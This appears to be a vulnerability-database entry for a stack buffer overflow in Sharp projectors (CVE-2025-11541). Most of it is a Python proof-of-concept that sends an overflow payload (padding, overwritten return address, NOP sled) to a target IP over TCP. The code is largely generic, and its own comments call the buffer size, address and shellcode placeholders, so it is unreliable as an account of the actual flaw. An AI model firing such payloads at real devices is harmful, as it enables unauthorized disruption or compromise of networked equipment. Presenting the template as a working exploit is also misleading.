cpe:2.3:h:sharp:np-p502hg:-:*:*:*:*:*:*:* - NOT VULNERABLE
Sharp Display Solutions projectors（特定固件版本，待厂商确认）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# CVE-2025-11541 PoC - Sharp Projector Stack Buffer Overflow
# This PoC demonstrates sending a malicious payload to trigger the buffer overflow
# NOTE: This is for educational and authorized testing purposes only
import socket
import sys
def create_malicious_payload():
"""
Generate payload to trigger stack buffer overflow
The actual vulnerability is in the network service handling user input
"""
# Target buffer size (placeholder - actual size varies by firmware version)
buffer_size = 1024
# Padding to fill the buffer
padding = b'A' * buffer_size
# Overwrite the return address (needs to be adjusted based on firmware)
# In real exploitation, this would point to shellcode or ROP gadgets
return_address = b'\xAA\xBB\xCC\xDD' # Example address
# Additional padding to reach saved registers
additional_padding = b'B' * 64
# Optional: Shellcode for arbitrary command execution
# This is a placeholder - actual shellcode depends on target architecture
shellcode = b'\x90' * 16 # NOP sled
payload = padding + return_address + additional_padding + shellcode
return payload
def send_exploit(target_ip, target_port=80):
"""
Send the exploit payload to the target projector
"""
payload = create_malicious_payload()
try:
print(f"[*] Connecting to {target_ip}:{target_port}")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_ip, target_port))
print(f"[*] Sending malicious payload ({len(payload)} bytes)")
sock.send(payload)
print("[*] Payload sent successfully")
print("[*] If vulnerable, the device should trigger the buffer overflow")
# Wait for response
try:
response = sock.recv(1024)
print(f"[*] Received response: {response[:100]}")
except:
pass
sock.close()
return True
except Exception as e:
print(f"[!] Error: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip> [port]")
print("Example: python3 poc.py 192.168.1.100 80")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
send_exploit(target, port)